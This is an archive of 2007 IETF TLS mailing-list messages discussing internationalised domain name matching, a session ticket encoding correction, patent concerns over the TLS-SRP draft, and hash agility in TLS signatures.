Nelson B Bolyard wrote:
> 
> Martin Rex wrote:
> > Paul Hoffman wrote:
> >> At 10:27 AM +1000 6/19/07, Brad Hards wrote:
> >>> If I have an internationalised domain name, then the certificate for that
> >>> domain will have the domain name in a (basically) ACE encoded format.
> >>
> >> Correct.
> >>
> >>> The human user on the client side is presumably going to use UTF8 or
> >>> perhaps UTF16 to specify the host they want to connect to.
> >>
> >> Correct, but unpredictably so. They type something into a text field 
> >> in the chrome web browser. They click on a link. They run a program 
> >> that has host names in it. And so on.
> >>
> >>> Which part of the system is responsible for making sure that the host
> >>> name and the server certificate match?
> 
> >> The TLS implementation.
> > 
> > I violently disagree.
> 
> I also disagree.  The TLS RFC disagree, too, IMO.

I disagree as well. 

-Ekr

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Date: Tue, 19 Jun 2007 15:37:07 -0700
To: tls@lists.ietf.org
From: Paul Hoffman <paul.hoffman@vpnc.org>
Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
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At 3:23 PM -0700 6/19/07, Eric Rescorla wrote:
>I disagree as well.

OK, I see a pattern. :-)

That still doesn't answer what should be done and how. Given the 
earlier confusion, I think an update of at least SNI is in order.

--Paul Hoffman, Director
--VPN Consortium

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We have submitted a draft for an RFC4507bis to correct this problem.  It
can be found at=20

http://www.ietf.org/internet-drafts/draft-salowey-tls-rfc4507bis-00.txt

Please take this opportunity to review the draft correction as we would
like to submit the draft for publication soon.

Thanks,

Joe

> -----Original Message-----
> From: Joseph Salowey (jsalowey)=20
> Sent: Monday, March 05, 2007 2:18 PM
> To: Jan Nordqvist; tls@ietf.org
> Subject: RE: [TLS] Stateless TLS Session Resumption extension=20
> and EAP-FAST.
>=20
> Hi Jan,
>=20
> You are correct, there is an issue with current=20
> implementation.  Thanks for pointing this out.  Details follow:
>=20
> Current EAP-FAST implementations do not format the extension=20
> correctly as to spec.  They leave out one of the length fields.
>=20
> EAP-FAST implementation:
>=20
>       struct {
>   	   uint16 extensionType =09
>  	   opaque ticket<0..2^16-1>
>       } SessionTicketExtension
>=20
> Example encoding: 00 23 LL LL TT TT TT ...
>=20
> LL - ticket length
> TT - ticket
>=20
> RFC4507:
>=20
> >     struct {
> >        opaque ticket<0..2^16-1>;
> >     } SessionTicket;
> >
> >    struct {
> >  	   uint16 extensionType =09
> > 	   opaque SessionTicket<0..2^16-1>
> >    } SessionTicketExtension
> >
>=20
> Example encoding: 00 23 LN LN LL LL TT TT TT....
>=20
> LN - length of ticket + 2-bytes
>=20
> Joe=20
>=20
> > -----Original Message-----
> > From: Jan Nordqvist [mailto:jnordqvist@alcatel-lucent.com]
> > Sent: Thursday, March 01, 2007 11:52 AM
> > To: tls@ietf.org
> > Subject: [TLS] Stateless TLS Session Resumption extension and=20
> > EAP-FAST.
> >=20
> > I apologize if this gets duplicated, I had the wrong address
> > registered:
> >=20
> > During some recent work incorporating EAP-FAST support into our TLS=20
> > stack I have discovered that the devices we use for testing are=20
> > violating the format of the stateless session ticket extension=20
> > definition per RFC-4507. In all instances I have seen, the whole=20
> > SessionTicket is preceded by a two-byte 'type' field, i.e. the=20
> > definition is really
> >=20
> > struct {
> >     uint16 type;
> >     opaque ticket<0..2^16-1>;
> > } SessionTicket;
> >=20
> > I don't know the size of deployments of EAP-FAST devices=20
> versus other=20
> > implementations using the session ticket extension, but it=20
> seems that=20
> > either RFC-4507 needs to be updated to reflect what is actually=20
> > implemented or perhaps the extension should be split into two.
> >=20
> > Regards,
> > Jan Nordqvist
> >=20
> >=20
> > _______________________________________________
> > TLS mailing list
> > TLS@lists.ietf.org
> > https://www1.ietf.org/mailman/listinfo/tls
> >=20
>=20
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls
>=20

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Hi, TLS-SRP folks,

Some folks mention IPR issues related to this draft. I wonder if we adopt
this draft, does that mean we may potentially violate the IPR granted to the
other parties. What about RFC2945 and RFC294? Thanks for your
clarification.

Regards,

e

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Hi, TLS-SRP folks,<br>
<br>
Some folks mention IPR issues related to this draft. I wonder if we
adopt this draft, does that mean we may potentially violate the IPR
granted to the other parties. What about RFC2945 and RFC294? Thanks for
your clarification.&nbsp; <br>
<br>
Regards,<br>
<br>
e<span style="font-family: monospace;"></span><br>

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_______________________________________________
TLS mailing list
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From tls-bounces@lists.ietf.org Fri Jun 22 18:00:33 2007
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Date: Sat, 23 Jun 2007 08:00:11 +1000
From: David Taylor <dajt1@bigpond.com>
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 > Some folks mention IPR issues related to this draft. I wonder if we 
adopt this draft,
 > does that mean we may potentially violate the IPR granted to the 
other parties.
 > What about RFC2945 and RFC294? Thanks for your clarification.

I assume "we" means the vendor who implements the draft. Yes, a vendor 
may be violating the Pheonix and/or Lucent patents if they implement 
this draft. The fact that those two companies refuse to make a concrete 
statement that the draft does violate their patents makes it seem like 
they're relying on FUD rather than science, but it isn't me putting my 
money where my mouth is.

In any case, the IETF itself is not open to any legal issues by making 
this an RFC.

Regards,
David Taylor.


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 Hi, Taylor,

Thanks for your info. Have Lucent/Pheonix mentioned which patent(s) the
draft may conflict with? Any opinion/standview from the implementors of
tls-srp about the potential issue? Thanks,

e



Date: Sat, 23 Jun 2007 08:00:11 +1000
> From: David Taylor <dajt1@bigpond.com>
> Subject: Re: [TLS] IPR and draft-ietf-tls-srp
> To: tls@lists.ietf.org
> Message-ID: <467C466B.50809@bigpond.com>
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>
> > Some folks mention IPR issues related to this draft. I wonder if we
> adopt this draft,
> > does that mean we may potentially violate the IPR granted to the
> other parties.
> > What about RFC2945 and RFC294? Thanks for your clarification.
>
> I assume "we" means the vendor who implements the draft. Yes, a vendor
> may be violating the Pheonix and/or Lucent patents if they implement
> this draft. The fact that those two companies refuse to make a concrete
> statement that the draft does violate their patents makes it seem like
> they're relying on FUD rather than science, but it isn't me putting my
> money where my mouth is.
>
> In any case, the IETF itself is not open to any legal issues by making
> this an RFC.
>
> Regards,
> David Taylor.
>
>
>
>
> ------------------------------
>
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls
>
>
> End of TLS Digest, Vol 35, Issue 26
> ***********************************
>

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<br><br>
<div>
<div>Hi, Taylor,</div>
<div>&nbsp;</div>
<div>Thanks for your info. Have Lucent/Pheonix mentioned which patent(s) the draft may conflict with? Any opinion/standview&nbsp;from the implementors of tls-srp about the potential issue? Thanks,</div>
<div>&nbsp;</div>
<div>e</div>
<div>&nbsp;</div>
<div>&nbsp;</div><br>
<blockquote class="gmail_quote" style="PADDING-LEFT: 1ex; MARGIN: 0px 0px 0px 0.8ex; BORDER-LEFT: #ccc 1px solid">Date: Sat, 23 Jun 2007 08:00:11 +1000<br>From: David Taylor &lt;<a href="mailto:dajt1@bigpond.com">dajt1@bigpond.com
</a>&gt;<br>Subject: Re: [TLS] IPR and draft-ietf-tls-srp<br>To: <a href="mailto:tls@lists.ietf.org">tls@lists.ietf.org</a><br>Message-ID: &lt;<a href="mailto:467C466B.50809@bigpond.com">467C466B.50809@bigpond.com</a>&gt;
<br>Content-Type: text/plain; charset=ISO-8859-1; format=flowed<br><br>&gt; Some folks mention IPR issues related to this draft. I wonder if we<br>adopt this draft,<br>&gt; does that mean we may potentially violate the IPR granted to the
<br>other parties.<br>&gt; What about RFC2945 and RFC294? Thanks for your clarification.<br><br>I assume &quot;we&quot; means the vendor who implements the draft. Yes, a vendor<br>may be violating the Pheonix and/or Lucent patents if they implement
<br>this draft. The fact that those two companies refuse to make a concrete<br>statement that the draft does violate their patents makes it seem like<br>they&#39;re relying on FUD rather than science, but it isn&#39;t me putting my
<br>money where my mouth is.<br><br>In any case, the IETF itself is not open to any legal issues by making<br>this an RFC.<br><br>Regards,<br>David Taylor.<br><br><br><br><br>------------------------------<br><br>_______________________________________________
<br>TLS mailing list<br><a href="mailto:TLS@lists.ietf.org">TLS@lists.ietf.org</a><br><a href="https://www1.ietf.org/mailman/listinfo/tls">https://www1.ietf.org/mailman/listinfo/tls</a><br><br><br>End of TLS Digest, Vol 35, Issue 26
<br>***********************************<br></blockquote></div><br>

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Subject: [TLS] Last Call: draft-ietf-tls-srp (Using SRP for TLS 
 Authentication) to Informational RFC 
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The IESG has received a request from the Transport Layer Security WG 
(tls) to consider the following document:

- 'Using SRP for TLS Authentication '
   <draft-ietf-tls-srp-14.txt> as an Informational RFC

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send substantive comments to the
ietf@ietf.org mailing lists by 2007-07-13. Exceptionally, 
comments may be sent to iesg@ietf.org instead. In either case, please 
retain the beginning of the Subject line to allow automated sorting.

The file can be obtained via
http://www.ietf.org/internet-drafts/draft-ietf-tls-srp-14.txt


IESG discussion can be tracked via
https://datatracker.ietf.org/public/pidtracker.cgi?command=view_id&dTag=6864&rfc_flag=0


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From: Eric Rescorla <ekr@networkresonance.com>
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Subject: [TLS] Signature Hash Agility
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I'd like to try to figure out how we're going to handle hash agility in
signatures. See (http://www1.ietf.org/mail-archive/web/tls/current/msg00699.html)
for backgrouns:

 As I see it, there are five separate (but related) issues:

 1. How does the client communicate to the server what hash algorithms
    he will accept for signatures
 2. How does the server communicate to the client what hash algorithms
    he will accepts.
 3. How do the client and server communicate what hash algorithms they
    are using to make their signatures.
 4. What do we do about algorithms like DSA/ECDSA where you can't just
    swap hash algorithms around (i.e., where the signature does not
    verify the digest).
 5. Should the lists in 1, 2 be preference ordered?

Currently in the draft, the answer to these is:

 1. In the CertHashTypes extension.
 2. In the certificate_hash field of the CertificateRequest
 3. It's deterministic from the certificate.
 4. Sort of (3) but it's screwed up.
 5. They're not.

1. Client->Server
As I read the list traffic, nobody is objecting to (1), so I'm going to
table that for now.


2. Server->Client
Several people have suggested that they don't like (2). Simon Joseffson
has suggested that it should be an extension. Bodo Moeller that we should
simply define new ClientCertificateTypes values that would be (for
instance) dsa_sign_fips_186_3. 

So, my reasoning for why it shouldn't be in an extension is that there
is already a message where the server expresses his cert preferences.
Why split this information over two messages.

In response to Bodo, who writes:
	
	There are only aesthetical reasons to get rid of the current
	MD5/SHA-1 concatenation in RSA client authentication.
	Authentication can only broken if the attack succeeds in real
	time (and this requires a second preimage, not just a
	collision!).  As long as we have the current Finished message
	(which involves MD5 anyway, so no implementation can do
	without it), not much speaks against leaving RSA signing as it
	is now.  However, here too we could add a FIPS 186-3 variant,
	meaning that depending on the modulus size a wider SHA can be
	used, adopting the "security strength" for RSA moduli from
	NIST SP 800-57 to obtain the appropriate SHA variant.  (I.e.,
	SHA-1 up to 1024 bits, SHA-224 up to 2048 bits, SHA-256 up to
	3072 bits, SHA-384 up to 7680 bits, SHA-512 up to 15360 bits.)

But of course, the Finished message will no longer use MD5 but rather
the cipher suite PRF. And recall that CertificateVerify doesn't
even use the PRF, but rather just hashes. So, I think a single
(new) hash function is what's appropriate here.

That leaves us to the question of whether it should be combined with
the certificate type or a separate field. This is tricky either way
because it's orthogonal for RSA but not orthogonal for DSA! That said,
I would prefer to err on the side of orthogonality and deal with the
DSA special case differently (see below).


3. Communicating the signature/hash algorithm you're using
So, I agree that trying to figure out the hash from the signature algorithm
in the cert was a mistake. We clearly need to explicitly name the 
digest algorithm in the message. However, previewing point (4), 
DSA keys need to be bound to one specific digest algorithm. Accordingly
I think the right structure is:

    struct {
        select (SignatureAlgorithm) {
            case anonymous: struct { };
            case rsa:
                HashType digestAlgorithm;       // NEW
                digitally-signed struct {
                    opaque hash[Hash.length];
                };
            case dsa:
                digitally-signed struct {
                    opaque sha_hash[20];
                };
            };
        };
    } Signature;


And note that we'll need DigestInfo encoding to protect against hash
substitution.


4. DSA hash selection
I claim it must be deterministic from the DSA SubjectPublicKeyInfo what hash
algorithm it is to be used with. Otherwise you risk substitution attacks.

5. Preferences
I'm fine with preference ordering, though I doubt it matters. I don't see what
it really improves.

-Ekr








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From tls-bounces@lists.ietf.org Sat Jun 30 16:14:47 2007
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>  As I see it, there are five separate (but related) issues:
> 
>  1. How does the client communicate to the server what hash algorithms
>     he will accept for signatures
>  2. How does the server communicate to the client what hash algorithms
>     he will accepts.
>  5. Should the lists in 1, 2 be preference ordered?
> 
> Currently in the draft, the answer to these is:
> 
>  5. They're not.
> 
> 5. Preferences
> I'm fine with preference ordering, though I doubt it matters. I don't see what
> it really improves.

When the server receives the client's list of hashes, the easiest thing
for it to do is to start at the beginning of the list, and progress
through it until it finds a hash it also supports.  Therefore, the best
thing for the client to do is to send the list in the order it prefers.
We already do this with cipher suites and compression algorithms, so
why not hashes?

Mike

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At Sat, 30 Jun 2007 13:11:12 -0700,
Mike wrote:
> 
> >  As I see it, there are five separate (but related) issues:
> > 
> >  1. How does the client communicate to the server what hash algorithms
> >     he will accept for signatures
> >  2. How does the server communicate to the client what hash algorithms
> >     he will accepts.
> >  5. Should the lists in 1, 2 be preference ordered?
> > 
> > Currently in the draft, the answer to these is:
> > 
> >  5. They're not.
> > 
> > 5. Preferences
> > I'm fine with preference ordering, though I doubt it matters. I don't see what
> > it really improves.
> 
> When the server receives the client's list of hashes, the easiest thing
> for it to do is to start at the beginning of the list, and progress
> through it until it finds a hash it also supports.

Well, that's fine if you want to favor the client's preferences
over your own, but it's just as reasonable to favor your preferences
in which case this doesn't help.


> Therefore, the best
> thing for the client to do is to send the list in the order it prefers.
> We already do this with cipher suites and compression algorithms, so
> why not hashes?

As I said, I'm happy to do this. I just don't think it adds
that much value. 

-Ekr


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>> When the server receives the client's list of hashes, the easiest thing
>> for it to do is to start at the beginning of the list, and progress
>> through it until it finds a hash it also supports.
> 
> Well, that's fine if you want to favor the client's preferences
> over your own, but it's just as reasonable to favor your preferences
> in which case this doesn't help.

The way I look at TLS is that the client specifies the parameters for
the connection, and the server either obliges by using those parameters
or it refuses to negotiate.  The server asserts its preferences by not
negotiating algorithms it considers to be insecure.

>> Therefore, the best
>> thing for the client to do is to send the list in the order it prefers.
>> We already do this with cipher suites and compression algorithms, so
>> why not hashes?
> 
> As I said, I'm happy to do this. I just don't think it adds
> that much value. 

Perhaps not, but I think being consistent is important.  Also, the
alternative (saying that order is not important) will lead to slower
implementations since the server will be forced to sort the list to
find its preferred algorithm.

Mike

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From: Eric Rescorla <ekr@networkresonance.com>
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At Sat, 30 Jun 2007 14:41:56 -0700,
Mike wrote:
> 
> >> When the server receives the client's list of hashes, the easiest thing
> >> for it to do is to start at the beginning of the list, and progress
> >> through it until it finds a hash it also supports.
> > 
> > Well, that's fine if you want to favor the client's preferences
> > over your own, but it's just as reasonable to favor your preferences
> > in which case this doesn't help.
> 
> The way I look at TLS is that the client specifies the parameters for
> the connection, and the server either obliges by using those parameters
> or it refuses to negotiate.  The server asserts its preferences by not
> negotiating algorithms it considers to be insecure.

Well, that may be the way your implementation works, but the standard
is silent on the server's selection algorithm, so the "server
preference" algorithm is equally compliant.

> Perhaps not, but I think being consistent is important.  Also, the
> alternative (saying that order is not important) will lead to slower
> implementations since the server will be forced to sort the list to
> find its preferred algorithm.

You're kidding, right? The server is about to do a digital signature.
The cost of searching through a list of probably < 5 entries to
look through your preferred choice (when your list is probably <5
entries) is totally trivial by comparison.

-Ekr





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